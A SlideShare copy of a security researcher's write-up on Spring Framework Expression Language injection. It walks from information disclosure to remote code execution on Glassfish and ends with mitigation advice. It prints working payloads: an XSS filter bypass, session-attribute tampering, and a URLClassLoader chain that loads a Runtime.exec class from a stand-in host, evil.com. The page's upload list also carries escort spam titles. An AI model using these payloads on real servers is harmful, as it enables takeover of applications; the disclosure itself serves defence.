SlideShare ist ein Scribd-Unternehmen logo
1 von 7
Downloaden Sie, um offline zu lesen
Remote Code with Expression Language Injection
Discovering a Spring Framework Vulnerability - DanAmodio
More than 22,000 organizations worldwide have downloaded 1.314 million outdated instances of Spring Framework,
which may be putting businesses at risk.
In 2011, Stefano Di Paola of Minded Security and Arshan Dabirsiaghi from Aspect Security discovered an interesting
pattern in the Spring Framework, which Stefano coined Expression Language (EL) Injection [PDF] [Advisory]. Their
discovery revealed that certain Spring tags which double interpret Expression Language can be used to expose
sensitive data stored on the server. This is because Spring provides EL support independent of the JSP/Servlet
container, as a means for backwards compatibility, since, prior to JSP 2.0, Expression Language wasn’t supported.
This functionality is currently turned on by default, and applications that use the patterns described herein are
vulnerable.
While it’s difficult to quantify the depth and breadth of this problem since every application will not be vulnerable as is
the case with reflected XSS, we do know, according to recent statistics from Sonatype, that more than 22,000
organizations worldwide have downloaded over 1.314 million individual Spring 3.0.5, or prior. Point-in-fact, one large
retail organization consumed 241 different artifacts, 4,119 total downloads.
These versions do not support disabling the double EL resolution.
The original impact of this issue related to information disclosure, but I’ll illustrate how it can actually be used for
remote code execution on Glassfish and potentially other EL 2.2 containers.
Here’s an example of what the original information disclosure attack looked like:
A request of the form:
http://vulnerable.com/foo?message=${applicationScope}
to a page that contains:
<spring:message text="" code="${param['message']}"></spring:message>
will result in output that contains internal server information including the classpath and local working directories.
You can also do other useful things like addition:
${9999+1}
and access session objects and beans:
${employee.lastName}
Discovery
While performing a penetration test on a client’s application on Glassfish, I came across this same pattern. Knowing
about EL Injection, I did additional testing, confirmed the finding, and moved along; I wanted to unearth the juicy stuff,
like XSS.
Alas, the application had an input filter blocking my requests, since they stripped all of the ‘<’ and ‘>’ tags.
On a whim, I thought: “Since I can string manipulate in Java, why don’t I try and do that in EL and bypass the filter?”
So, I attempted the following:
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPPP
I noticed that the returned error code shows QQQQQ, because the String.replaceAll method has been called, and the
returned text is inserted into the spring:message tag.
Here’s the final working vector that bypassed the filter:
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”<”).replaceAll(“Q”,”>”)}&f
oo=PscriptQalert(1);P/scriptQ
It worked great, and I thought nothing of it for the next hour or so. Then I realized it was really, really, bad. Why was it
possible for me to stick methods in EL like this? That begged the question- what other gnarly things can I do?
After some research, I learned that the EL 2.2 added support for method invocation.
Taking it Further
I wrote a quick test application and started checking out some functionality:
${pageContext.request.getSession().setAttribute("account","123456")}
${pageContext.request.getSession().setAttribute("admin",true)}
OK, session object modification is a definite risk. I really wanted to touch objects I didn’t have a direct pointer to
through the pageContext. Maybe we can use reflection, like String.getClass().forName(string)?
${"".getClass().forName("java.net.Socket").newInstance().connect("127.0.0.1", 1234)}
${"".getClass().forName("java.lang.Runtime")}
Wow, there’s no way that should work! This could be disastrous because you can touch just about anything.
Unfortunately, it’s not possible to call newInstance() for numerous dangerous classes (like Runtime), as they do not
provide default constructors. We were unable to cast objects, and there are some issues with
getMethods()[0].invoke() when it requires null or a null array. EL seems to resolve these as a string literal before
passing the data to the method. I assume this is due to the method signature invoke(Object obj, Object… args).
Jeff Williams (Co-Founder of both Aspect Security and OWASP), Arshan, and I were all scratching our heads trying to
make this work.
Exploitation
After seriously banging my head against the wall, I had exhausted many options. Now that we’re making this public, I
hope some of you Java wizards will tell me how ridiculous I was.
Here are several of the failed avenues we tried, in an attempt to get this to work:
 Write a file to the file system.
 Try and load the org.springframework.expression.spel.standard.SpelExpressionParser.
I think this would actually work, I just couldn’t find the right class loader.
${pageContext.getClass().getClassLoader().loadClass("org.springframework.expression.s
pel.standard.SpelExpressionParser")}
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
org.springframework.expression.spel.standard.SpelExpressionParser not found by
org.glassfish.web.javax.servlet.jsp [194].
 Use reflection to modify the java.lang.Runtime.currentRuntime attribute to public.
 Use reflection to create a new Runtime (and watch the world burn).
${pageContext.request.getSession().setAttribute("rtc","".getClass().forName("java.lan
g.Runtime")).getDeclaredConstructors()[0])}
${pageContext.request.getSession().getAttribute("rtc").setAccessible(true)}
 Use java.lang.ProcessBuilder.
 Evaluate Expression Language with Expression Language.
Expression-ception! I think I was getting crazy by this point. The vector doesn’t really make any sense.
${pageContext.getExpressionEvaluator().parseExpression("pageContext.request","".getCl
ass(),null)}
 Create an ObjectInputStream, serialize a class, and send it up through a parameter (also a little crazy).
We failed many times at passing a null array to Method.invoke().
"".getClass().forName("java.lang.Runtime").getMethods()[5].invoke(param.foo.getClass(
).forName("java.lang.Runtime"),"".getClass().forName("java.util.ArrayList").newInstan
ce().toArray())
java.lang.IllegalArgumentException: wrong number of arguments
Nope!
Finally, I tripped on the answer one evening: I was able to get a URLClassLoader, so I created a malicious class file
and pointed the class loader at it.
I wrote a Java class that tried to open the calculator application on the server, proving remote code execution:
public class Malicious {
public Malicious() {
try {
java.lang.Runtime.getRuntime().exec("open -a Calculator"); //Mac
java.lang.Runtime.getRuntime().exec("calc.exe"); //Win
} catch (Exception e) {
}
}
}
We create an ArrayList that will be used to construct a new URLClassLoader. It needs to be stored in the session so it
can be reused.
${pageContext.request.getSession().setAttribute("arr","".getClass().forName("java.uti
l.ArrayList").newInstance())}
URLClassLoader provides a newInstance method, which accepts an array of URL objects. We need to create a new
URL that contains the path to our malicious code. The ServletContext can provide us a URL object with the
getResource(string) method, but we’re unable to create a new instance directly. However, URI provides a
create(string) method which we can call, and then convert to a URL object.
${pageContext.request.getSession().getAttribute("arr").add(pageContext.getServletCont
ext().getResource("/").toURI().create("http://evil.com/path/to/where/malicious/classf
ile/is/located/").toURL())}
Then we find a pointer to a URLClassLoader so the newInstance method can be invoked. The malicious class file is
loaded and created, triggering remote code.
${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request
.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().get
Parent().getURLs())).loadClass("Malicious").newInstance()}
Here is my actual celebratory screenshot:
Conclusion and Prevention
It is difficult to quantify the depth and breadth of this since not every application will be vulnerable as is the case with
reflected XSS. Un-validated data has to be passed into one of the vulnerable Spring tags, or otherwise hit an
expression interpreter.
What we do know, according to recent statistics from Sonatype, is that more than 22,000 organizations, worldwide
have downloaded over 1.314 million individual Spring 3.0.5 or prior. These do not support disabling the double EL
resolution. It’s time to update your libraries folks!
This was all tested on Glassfish 3.1.2.2 with Spring 3.0.6, but Tomcat 7 claims to support the method invocation
functionality. It’s also possible this has been specifically retrofitted into older versions by users.
As of December 6, 2012, Spring has updated the original CVE to a critical, and will be making the functionality
available on an opt-in basis for a future release.
Today, you can opt-out with Spring 3.0.6 and above by setting the springJspExpressionSupport context parameter to
false in your web.xml.
<context-param>
<description>Spring Expression Language Support</description>
<param-name>springJspExpressionSupport</param-name>
<param-value>false</param-value>
</context-param>
On Spring Framework 3.1 onwards when running on Servlet 3.0 or higher, the functionality should be off by default,
but it never hurts to be explicit.
@DanAmodio

Weitere ähnliche Inhalte

Was ist angesagt?

Building a REST Service in minutes with Spring Boot
Building a REST Service in minutes with Spring BootBuilding a REST Service in minutes with Spring Boot
Building a REST Service in minutes with Spring BootOmri Spector
 
Exploiting Deserialization Vulnerabilities in Java
Exploiting Deserialization Vulnerabilities in JavaExploiting Deserialization Vulnerabilities in Java
Exploiting Deserialization Vulnerabilities in JavaCODE WHITE GmbH
 
Attack and Mitigation for Insecure Deserialization
Attack and Mitigation for Insecure DeserializationAttack and Mitigation for Insecure Deserialization
Attack and Mitigation for Insecure DeserializationSukhpreet Singh
 
WEB SERVICE SOAP, JAVA, XML, JAXWS
WEB SERVICE SOAP, JAVA, XML, JAXWSWEB SERVICE SOAP, JAVA, XML, JAXWS
WEB SERVICE SOAP, JAVA, XML, JAXWSLhouceine OUHAMZA
 
Spring Boot Actuator
Spring Boot ActuatorSpring Boot Actuator
Spring Boot ActuatorRowell Belen
 
PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?Sam Thomas
 
XXE: How to become a Jedi
XXE: How to become a JediXXE: How to become a Jedi
XXE: How to become a JediYaroslav Babin
 
What is Dependency Injection in Spring Boot | Edureka
What is Dependency Injection in Spring Boot | EdurekaWhat is Dependency Injection in Spring Boot | Edureka
What is Dependency Injection in Spring Boot | EdurekaEdureka!
 
OWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling PicklesOWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling PicklesChristopher Frohoff
 
Bug Bounty #Defconlucknow2016
Bug Bounty #Defconlucknow2016Bug Bounty #Defconlucknow2016
Bug Bounty #Defconlucknow2016Shubham Gupta
 
2022 APIsecure_Method for exploiting IDOR on nodejs+mongodb based backend
2022 APIsecure_Method for exploiting IDOR on nodejs+mongodb based backend2022 APIsecure_Method for exploiting IDOR on nodejs+mongodb based backend
2022 APIsecure_Method for exploiting IDOR on nodejs+mongodb based backendAPIsecure_ Official
 
Practical non blocking microservices in java 8
Practical non blocking microservices in java 8Practical non blocking microservices in java 8
Practical non blocking microservices in java 8Michal Balinski
 
Microservices with Java, Spring Boot and Spring Cloud
Microservices with Java, Spring Boot and Spring CloudMicroservices with Java, Spring Boot and Spring Cloud
Microservices with Java, Spring Boot and Spring CloudEberhard Wolff
 

Was ist angesagt? (20)

Soap vs rest
Soap vs restSoap vs rest
Soap vs rest
 
Building Advanced XSS Vectors
Building Advanced XSS VectorsBuilding Advanced XSS Vectors
Building Advanced XSS Vectors
 
J2EE Introduction
J2EE IntroductionJ2EE Introduction
J2EE Introduction
 
Building a REST Service in minutes with Spring Boot
Building a REST Service in minutes with Spring BootBuilding a REST Service in minutes with Spring Boot
Building a REST Service in minutes with Spring Boot
 
Exploiting Deserialization Vulnerabilities in Java
Exploiting Deserialization Vulnerabilities in JavaExploiting Deserialization Vulnerabilities in Java
Exploiting Deserialization Vulnerabilities in Java
 
Attack and Mitigation for Insecure Deserialization
Attack and Mitigation for Insecure DeserializationAttack and Mitigation for Insecure Deserialization
Attack and Mitigation for Insecure Deserialization
 
Bug Bounty Secrets
Bug Bounty Secrets Bug Bounty Secrets
Bug Bounty Secrets
 
Introduction to spring boot
Introduction to spring bootIntroduction to spring boot
Introduction to spring boot
 
Xss attack
Xss attackXss attack
Xss attack
 
WEB SERVICE SOAP, JAVA, XML, JAXWS
WEB SERVICE SOAP, JAVA, XML, JAXWSWEB SERVICE SOAP, JAVA, XML, JAXWS
WEB SERVICE SOAP, JAVA, XML, JAXWS
 
Spring Boot Actuator
Spring Boot ActuatorSpring Boot Actuator
Spring Boot Actuator
 
PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?
 
Spring Boot
Spring BootSpring Boot
Spring Boot
 
XXE: How to become a Jedi
XXE: How to become a JediXXE: How to become a Jedi
XXE: How to become a Jedi
 
What is Dependency Injection in Spring Boot | Edureka
What is Dependency Injection in Spring Boot | EdurekaWhat is Dependency Injection in Spring Boot | Edureka
What is Dependency Injection in Spring Boot | Edureka
 
OWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling PicklesOWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling Pickles
 
Bug Bounty #Defconlucknow2016
Bug Bounty #Defconlucknow2016Bug Bounty #Defconlucknow2016
Bug Bounty #Defconlucknow2016
 
2022 APIsecure_Method for exploiting IDOR on nodejs+mongodb based backend
2022 APIsecure_Method for exploiting IDOR on nodejs+mongodb based backend2022 APIsecure_Method for exploiting IDOR on nodejs+mongodb based backend
2022 APIsecure_Method for exploiting IDOR on nodejs+mongodb based backend
 
Practical non blocking microservices in java 8
Practical non blocking microservices in java 8Practical non blocking microservices in java 8
Practical non blocking microservices in java 8
 
Microservices with Java, Spring Boot and Spring Cloud
Microservices with Java, Spring Boot and Spring CloudMicroservices with Java, Spring Boot and Spring Cloud
Microservices with Java, Spring Boot and Spring Cloud
 

Andere mochten auch

eminghuliev #nullpd
eminghuliev #nullpdeminghuliev #nullpd
eminghuliev #nullpdGhuliev Emin
 
Детям о безопасности
Детям о безопасностиДетям о безопасности
Детям о безопасностиKaiyrzhan Kozhaly
 
Android System Architecture And  Pen-testing of Android applications
Android System Architecture  And  Pen-testing of Android applications Android System Architecture  And  Pen-testing of Android applications
Android System Architecture And  Pen-testing of Android applications yavuzwb
 
Positive Hack Days. Pavlov. Network Infrastructure Security Assessment
Positive Hack Days. Pavlov. Network Infrastructure Security AssessmentPositive Hack Days. Pavlov. Network Infrastructure Security Assessment
Positive Hack Days. Pavlov. Network Infrastructure Security AssessmentPositive Hack Days
 
Positive Hack Days. Gurkin. Zero Day for SCADA (0-day)
Positive Hack Days. Gurkin. Zero Day for SCADA (0-day)Positive Hack Days. Gurkin. Zero Day for SCADA (0-day)
Positive Hack Days. Gurkin. Zero Day for SCADA (0-day)Positive Hack Days
 
WMI - A FRONT DOOR FOR MALWARES
WMI - A FRONT DOOR FOR MALWARESWMI - A FRONT DOOR FOR MALWARES
WMI - A FRONT DOOR FOR MALWARESSanthosh Kumar
 
Reverse Engineering automation
Reverse Engineering automationReverse Engineering automation
Reverse Engineering automationPositive Hack Days
 
Безопасность SAP HCM
Безопасность SAP HCMБезопасность SAP HCM
Безопасность SAP HCMPositive Hack Days
 
Phrases for resume and interview start Mar31
Phrases for resume and interview  start Mar31Phrases for resume and interview  start Mar31
Phrases for resume and interview start Mar31Sander Stepanov
 
Huzeyfe Önal - Siber Savunma Sistemlerinde Profesyonel Arka Kapılar
Huzeyfe Önal - Siber Savunma Sistemlerinde Profesyonel Arka KapılarHuzeyfe Önal - Siber Savunma Sistemlerinde Profesyonel Arka Kapılar
Huzeyfe Önal - Siber Savunma Sistemlerinde Profesyonel Arka KapılarKasım Erkan
 
Презентация с Форума ИБ Директоров 16 апреля 2012г. "Безопасность инфраструкт...
Презентация с Форума ИБ Директоров 16 апреля 2012г. "Безопасность инфраструкт...Презентация с Форума ИБ Директоров 16 апреля 2012г. "Безопасность инфраструкт...
Презентация с Форума ИБ Директоров 16 апреля 2012г. "Безопасность инфраструкт...Максим Федотенко
 
Collaboration Between Infosec Community and CERT Teams : Project Sonar case
Collaboration Between Infosec Community and CERT Teams : Project Sonar caseCollaboration Between Infosec Community and CERT Teams : Project Sonar case
Collaboration Between Infosec Community and CERT Teams : Project Sonar caseValdes Nzalli
 
Thinking Outside The [Sand]Box
Thinking Outside The [Sand]BoxThinking Outside The [Sand]Box
Thinking Outside The [Sand]BoxMichael Genkin
 

Andere mochten auch (20)

eminghuliev #nullpd
eminghuliev #nullpdeminghuliev #nullpd
eminghuliev #nullpd
 
Детям о безопасности
Детям о безопасностиДетям о безопасности
Детям о безопасности
 
Android System Architecture And  Pen-testing of Android applications
Android System Architecture  And  Pen-testing of Android applications Android System Architecture  And  Pen-testing of Android applications
Android System Architecture And  Pen-testing of Android applications
 
01 Incom Aos Presentation
01 Incom Aos Presentation01 Incom Aos Presentation
01 Incom Aos Presentation
 
Positive Hack Days. Pavlov. Network Infrastructure Security Assessment
Positive Hack Days. Pavlov. Network Infrastructure Security AssessmentPositive Hack Days. Pavlov. Network Infrastructure Security Assessment
Positive Hack Days. Pavlov. Network Infrastructure Security Assessment
 
Positive Hack Days. Gurkin. Zero Day for SCADA (0-day)
Positive Hack Days. Gurkin. Zero Day for SCADA (0-day)Positive Hack Days. Gurkin. Zero Day for SCADA (0-day)
Positive Hack Days. Gurkin. Zero Day for SCADA (0-day)
 
Apple trollversion
Apple trollversionApple trollversion
Apple trollversion
 
01 29 09
01 29 0901 29 09
01 29 09
 
проектная деятельность
проектная деятельностьпроектная деятельность
проектная деятельность
 
WMI - A FRONT DOOR FOR MALWARES
WMI - A FRONT DOOR FOR MALWARESWMI - A FRONT DOOR FOR MALWARES
WMI - A FRONT DOOR FOR MALWARES
 
Reverse Engineering automation
Reverse Engineering automationReverse Engineering automation
Reverse Engineering automation
 
Comodo_Vietnam_Overview
Comodo_Vietnam_OverviewComodo_Vietnam_Overview
Comodo_Vietnam_Overview
 
Безопасность SAP HCM
Безопасность SAP HCMБезопасность SAP HCM
Безопасность SAP HCM
 
Phrases for resume and interview start Mar31
Phrases for resume and interview  start Mar31Phrases for resume and interview  start Mar31
Phrases for resume and interview start Mar31
 
Huzeyfe Önal - Siber Savunma Sistemlerinde Profesyonel Arka Kapılar
Huzeyfe Önal - Siber Savunma Sistemlerinde Profesyonel Arka KapılarHuzeyfe Önal - Siber Savunma Sistemlerinde Profesyonel Arka Kapılar
Huzeyfe Önal - Siber Savunma Sistemlerinde Profesyonel Arka Kapılar
 
психология
психологияпсихология
психология
 
Презентация с Форума ИБ Директоров 16 апреля 2012г. "Безопасность инфраструкт...
Презентация с Форума ИБ Директоров 16 апреля 2012г. "Безопасность инфраструкт...Презентация с Форума ИБ Директоров 16 апреля 2012г. "Безопасность инфраструкт...
Презентация с Форума ИБ Директоров 16 апреля 2012г. "Безопасность инфраструкт...
 
Github
GithubGithub
Github
 
Collaboration Between Infosec Community and CERT Teams : Project Sonar case
Collaboration Between Infosec Community and CERT Teams : Project Sonar caseCollaboration Between Infosec Community and CERT Teams : Project Sonar case
Collaboration Between Infosec Community and CERT Teams : Project Sonar case
 
Thinking Outside The [Sand]Box
Thinking Outside The [Sand]BoxThinking Outside The [Sand]Box
Thinking Outside The [Sand]Box
 

Ähnlich wie Remote code-with-expression-language-injection

Pentesting Modern Web Apps: A Primer
Pentesting Modern Web Apps: A PrimerPentesting Modern Web Apps: A Primer
Pentesting Modern Web Apps: A PrimerBrian Hysell
 
Request dispacther interface ppt
Request dispacther interface pptRequest dispacther interface ppt
Request dispacther interface pptTaha Malampatti
 
[Coscup 2012] JavascriptMVC
[Coscup 2012] JavascriptMVC[Coscup 2012] JavascriptMVC
[Coscup 2012] JavascriptMVCAlive Kuo
 
1 ppt-ajax with-j_query
1 ppt-ajax with-j_query1 ppt-ajax with-j_query
1 ppt-ajax with-j_queryFajar Baskoro
 
Bare-knuckle web development
Bare-knuckle web developmentBare-knuckle web development
Bare-knuckle web developmentJohannes Brodwall
 
Web UI test automation instruments
Web UI test automation instrumentsWeb UI test automation instruments
Web UI test automation instrumentsArtem Nagornyi
 
The Theory Of The Dom
The Theory Of The DomThe Theory Of The Dom
The Theory Of The Domkaven yan
 
Writing RESTful web services using Node.js
Writing RESTful web services using Node.jsWriting RESTful web services using Node.js
Writing RESTful web services using Node.jsFDConf
 
droidQuery: The Android port of jQuery
droidQuery: The Android port of jQuerydroidQuery: The Android port of jQuery
droidQuery: The Android port of jQueryPhDBrown
 
Play Framework: async I/O with Java and Scala
Play Framework: async I/O with Java and ScalaPlay Framework: async I/O with Java and Scala
Play Framework: async I/O with Java and ScalaYevgeniy Brikman
 
Das kannste schon so machen
Das kannste schon so machenDas kannste schon so machen
Das kannste schon so machenAndré Goliath
 
Terrastore - A document database for developers
Terrastore - A document database for developersTerrastore - A document database for developers
Terrastore - A document database for developersSergio Bossa
 
Experienced Selenium Interview questions
Experienced Selenium Interview questionsExperienced Selenium Interview questions
Experienced Selenium Interview questionsarchana singh
 
Js Saturday 2013 your jQuery could perform better
Js Saturday 2013 your jQuery could perform betterJs Saturday 2013 your jQuery could perform better
Js Saturday 2013 your jQuery could perform betterIvo Andreev
 

Ähnlich wie Remote code-with-expression-language-injection (20)

Pentesting Modern Web Apps: A Primer
Pentesting Modern Web Apps: A PrimerPentesting Modern Web Apps: A Primer
Pentesting Modern Web Apps: A Primer
 
Request dispacther interface ppt
Request dispacther interface pptRequest dispacther interface ppt
Request dispacther interface ppt
 
Pushing the Web: Interesting things to Know
Pushing the Web: Interesting things to KnowPushing the Web: Interesting things to Know
Pushing the Web: Interesting things to Know
 
Tomcat + other things
Tomcat + other thingsTomcat + other things
Tomcat + other things
 
[Coscup 2012] JavascriptMVC
[Coscup 2012] JavascriptMVC[Coscup 2012] JavascriptMVC
[Coscup 2012] JavascriptMVC
 
1 ppt-ajax with-j_query
1 ppt-ajax with-j_query1 ppt-ajax with-j_query
1 ppt-ajax with-j_query
 
Bare-knuckle web development
Bare-knuckle web developmentBare-knuckle web development
Bare-knuckle web development
 
Web UI test automation instruments
Web UI test automation instrumentsWeb UI test automation instruments
Web UI test automation instruments
 
Backbone js
Backbone jsBackbone js
Backbone js
 
The Theory Of The Dom
The Theory Of The DomThe Theory Of The Dom
The Theory Of The Dom
 
Writing RESTful web services using Node.js
Writing RESTful web services using Node.jsWriting RESTful web services using Node.js
Writing RESTful web services using Node.js
 
Having Fun with Play
Having Fun with PlayHaving Fun with Play
Having Fun with Play
 
droidQuery: The Android port of jQuery
droidQuery: The Android port of jQuerydroidQuery: The Android port of jQuery
droidQuery: The Android port of jQuery
 
Play Framework: async I/O with Java and Scala
Play Framework: async I/O with Java and ScalaPlay Framework: async I/O with Java and Scala
Play Framework: async I/O with Java and Scala
 
Das kannste schon so machen
Das kannste schon so machenDas kannste schon so machen
Das kannste schon so machen
 
Terrastore - A document database for developers
Terrastore - A document database for developersTerrastore - A document database for developers
Terrastore - A document database for developers
 
jQuery
jQueryjQuery
jQuery
 
Experienced Selenium Interview questions
Experienced Selenium Interview questionsExperienced Selenium Interview questions
Experienced Selenium Interview questions
 
Backbone.js
Backbone.jsBackbone.js
Backbone.js
 
Js Saturday 2013 your jQuery could perform better
Js Saturday 2013 your jQuery could perform betterJs Saturday 2013 your jQuery could perform better
Js Saturday 2013 your jQuery could perform better
 

Kürzlich hochgeladen

Best Call girls in Lucknow - 9548086042 - with hotel room
Best Call girls in Lucknow - 9548086042 - with hotel roomBest Call girls in Lucknow - 9548086042 - with hotel room
Best Call girls in Lucknow - 9548086042 - with hotel roomdiscovermytutordmt
 
Turn Lock Take Key Storyboard Daniel Johnson
Turn Lock Take Key Storyboard Daniel JohnsonTurn Lock Take Key Storyboard Daniel Johnson
Turn Lock Take Key Storyboard Daniel Johnsonthephillipta
 
Aminabad @ Book Call Girls in Lucknow - 450+ Call Girl Cash Payment 🍵 8923113...
Aminabad @ Book Call Girls in Lucknow - 450+ Call Girl Cash Payment 🍵 8923113...Aminabad @ Book Call Girls in Lucknow - 450+ Call Girl Cash Payment 🍵 8923113...
Aminabad @ Book Call Girls in Lucknow - 450+ Call Girl Cash Payment 🍵 8923113...akbard9823
 
AaliyahBell_themist_v01.pdf .
AaliyahBell_themist_v01.pdf             .AaliyahBell_themist_v01.pdf             .
AaliyahBell_themist_v01.pdf .AaliyahB2
 
Call Girl Service In Dubai #$# O56521286O #$# Dubai Call Girls
Call Girl Service In Dubai #$# O56521286O #$# Dubai Call GirlsCall Girl Service In Dubai #$# O56521286O #$# Dubai Call Girls
Call Girl Service In Dubai #$# O56521286O #$# Dubai Call Girlsparisharma5056
 
exhuma plot and synopsis from the exhuma movie.pptx
exhuma plot and synopsis from the exhuma movie.pptxexhuma plot and synopsis from the exhuma movie.pptx
exhuma plot and synopsis from the exhuma movie.pptxKurikulumPenilaian
 
Lucknow 💋 Call Girl in Lucknow | Whatsapp No 8923113531 VIP Escorts Service A...
Lucknow 💋 Call Girl in Lucknow | Whatsapp No 8923113531 VIP Escorts Service A...Lucknow 💋 Call Girl in Lucknow | Whatsapp No 8923113531 VIP Escorts Service A...
Lucknow 💋 Call Girl in Lucknow | Whatsapp No 8923113531 VIP Escorts Service A...anilsa9823
 
Lucknow 💋 (Call Girls) in Mahanagar | Service-oriented sexy call girls 892311...
Lucknow 💋 (Call Girls) in Mahanagar | Service-oriented sexy call girls 892311...Lucknow 💋 (Call Girls) in Mahanagar | Service-oriented sexy call girls 892311...
Lucknow 💋 (Call Girls) in Mahanagar | Service-oriented sexy call girls 892311...anilsa9823
 
OYO GIRLS Call Girls in Lucknow Best Escorts Service Near You 8923113531 Call...
OYO GIRLS Call Girls in Lucknow Best Escorts Service Near You 8923113531 Call...OYO GIRLS Call Girls in Lucknow Best Escorts Service Near You 8923113531 Call...
OYO GIRLS Call Girls in Lucknow Best Escorts Service Near You 8923113531 Call...hanshkumar9870
 
Alex and Chloe by Daniel Johnson Storyboard
Alex and Chloe by Daniel Johnson StoryboardAlex and Chloe by Daniel Johnson Storyboard
Alex and Chloe by Daniel Johnson Storyboardthephillipta
 
Jeremy Casson - Top Tips for Pottery Wheel Throwing
Jeremy Casson - Top Tips for Pottery Wheel ThrowingJeremy Casson - Top Tips for Pottery Wheel Throwing
Jeremy Casson - Top Tips for Pottery Wheel ThrowingJeremy Casson
 
Jeremy Casson - How Painstaking Restoration Has Revealed the Beauty of an Imp...
Jeremy Casson - How Painstaking Restoration Has Revealed the Beauty of an Imp...Jeremy Casson - How Painstaking Restoration Has Revealed the Beauty of an Imp...
Jeremy Casson - How Painstaking Restoration Has Revealed the Beauty of an Imp...Jeremy Casson
 
Deconstructing Gendered Language; Feminist World-Making 2024
Deconstructing Gendered Language; Feminist World-Making 2024Deconstructing Gendered Language; Feminist World-Making 2024
Deconstructing Gendered Language; Feminist World-Making 2024samlnance
 
Lucknow 💋 Russian Call Girls Lucknow | Whatsapp No 8923113531 VIP Escorts Ser...
Lucknow 💋 Russian Call Girls Lucknow | Whatsapp No 8923113531 VIP Escorts Ser...Lucknow 💋 Russian Call Girls Lucknow | Whatsapp No 8923113531 VIP Escorts Ser...
Lucknow 💋 Russian Call Girls Lucknow | Whatsapp No 8923113531 VIP Escorts Ser...anilsa9823
 
Lucknow 💋 Call Girls in Lucknow | Service-oriented sexy call girls 8923113531...
Lucknow 💋 Call Girls in Lucknow | Service-oriented sexy call girls 8923113531...Lucknow 💋 Call Girls in Lucknow | Service-oriented sexy call girls 8923113531...
Lucknow 💋 Call Girls in Lucknow | Service-oriented sexy call girls 8923113531...anilsa9823
 
Patrakarpuram ) Cheap Call Girls In Lucknow (Adult Only) 🧈 8923113531 𓀓 Esco...
Patrakarpuram ) Cheap Call Girls In Lucknow  (Adult Only) 🧈 8923113531 𓀓 Esco...Patrakarpuram ) Cheap Call Girls In Lucknow  (Adult Only) 🧈 8923113531 𓀓 Esco...
Patrakarpuram ) Cheap Call Girls In Lucknow (Adult Only) 🧈 8923113531 𓀓 Esco...akbard9823
 
Lucknow 💋 Call Girls in Lucknow ₹7.5k Pick Up & Drop With Cash Payment 892311...
Lucknow 💋 Call Girls in Lucknow ₹7.5k Pick Up & Drop With Cash Payment 892311...Lucknow 💋 Call Girls in Lucknow ₹7.5k Pick Up & Drop With Cash Payment 892311...
Lucknow 💋 Call Girls in Lucknow ₹7.5k Pick Up & Drop With Cash Payment 892311...anilsa9823
 
Lucknow 💋 Female Escorts Service in Lucknow | Service-oriented sexy call girl...
Lucknow 💋 Female Escorts Service in Lucknow | Service-oriented sexy call girl...Lucknow 💋 Female Escorts Service in Lucknow | Service-oriented sexy call girl...
Lucknow 💋 Female Escorts Service in Lucknow | Service-oriented sexy call girl...anilsa9823
 
Lucknow 💋 Call Girl in Lucknow Phone No 8923113531 Elite Escort Service Avail...
Lucknow 💋 Call Girl in Lucknow Phone No 8923113531 Elite Escort Service Avail...Lucknow 💋 Call Girl in Lucknow Phone No 8923113531 Elite Escort Service Avail...
Lucknow 💋 Call Girl in Lucknow Phone No 8923113531 Elite Escort Service Avail...anilsa9823
 

Kürzlich hochgeladen (20)

Best Call girls in Lucknow - 9548086042 - with hotel room
Best Call girls in Lucknow - 9548086042 - with hotel roomBest Call girls in Lucknow - 9548086042 - with hotel room
Best Call girls in Lucknow - 9548086042 - with hotel room
 
Turn Lock Take Key Storyboard Daniel Johnson
Turn Lock Take Key Storyboard Daniel JohnsonTurn Lock Take Key Storyboard Daniel Johnson
Turn Lock Take Key Storyboard Daniel Johnson
 
Aminabad @ Book Call Girls in Lucknow - 450+ Call Girl Cash Payment 🍵 8923113...
Aminabad @ Book Call Girls in Lucknow - 450+ Call Girl Cash Payment 🍵 8923113...Aminabad @ Book Call Girls in Lucknow - 450+ Call Girl Cash Payment 🍵 8923113...
Aminabad @ Book Call Girls in Lucknow - 450+ Call Girl Cash Payment 🍵 8923113...
 
AaliyahBell_themist_v01.pdf .
AaliyahBell_themist_v01.pdf             .AaliyahBell_themist_v01.pdf             .
AaliyahBell_themist_v01.pdf .
 
Call Girl Service In Dubai #$# O56521286O #$# Dubai Call Girls
Call Girl Service In Dubai #$# O56521286O #$# Dubai Call GirlsCall Girl Service In Dubai #$# O56521286O #$# Dubai Call Girls
Call Girl Service In Dubai #$# O56521286O #$# Dubai Call Girls
 
exhuma plot and synopsis from the exhuma movie.pptx
exhuma plot and synopsis from the exhuma movie.pptxexhuma plot and synopsis from the exhuma movie.pptx
exhuma plot and synopsis from the exhuma movie.pptx
 
Lucknow 💋 Call Girl in Lucknow | Whatsapp No 8923113531 VIP Escorts Service A...
Lucknow 💋 Call Girl in Lucknow | Whatsapp No 8923113531 VIP Escorts Service A...Lucknow 💋 Call Girl in Lucknow | Whatsapp No 8923113531 VIP Escorts Service A...
Lucknow 💋 Call Girl in Lucknow | Whatsapp No 8923113531 VIP Escorts Service A...
 
Lucknow 💋 (Call Girls) in Mahanagar | Service-oriented sexy call girls 892311...
Lucknow 💋 (Call Girls) in Mahanagar | Service-oriented sexy call girls 892311...Lucknow 💋 (Call Girls) in Mahanagar | Service-oriented sexy call girls 892311...
Lucknow 💋 (Call Girls) in Mahanagar | Service-oriented sexy call girls 892311...
 
OYO GIRLS Call Girls in Lucknow Best Escorts Service Near You 8923113531 Call...
OYO GIRLS Call Girls in Lucknow Best Escorts Service Near You 8923113531 Call...OYO GIRLS Call Girls in Lucknow Best Escorts Service Near You 8923113531 Call...
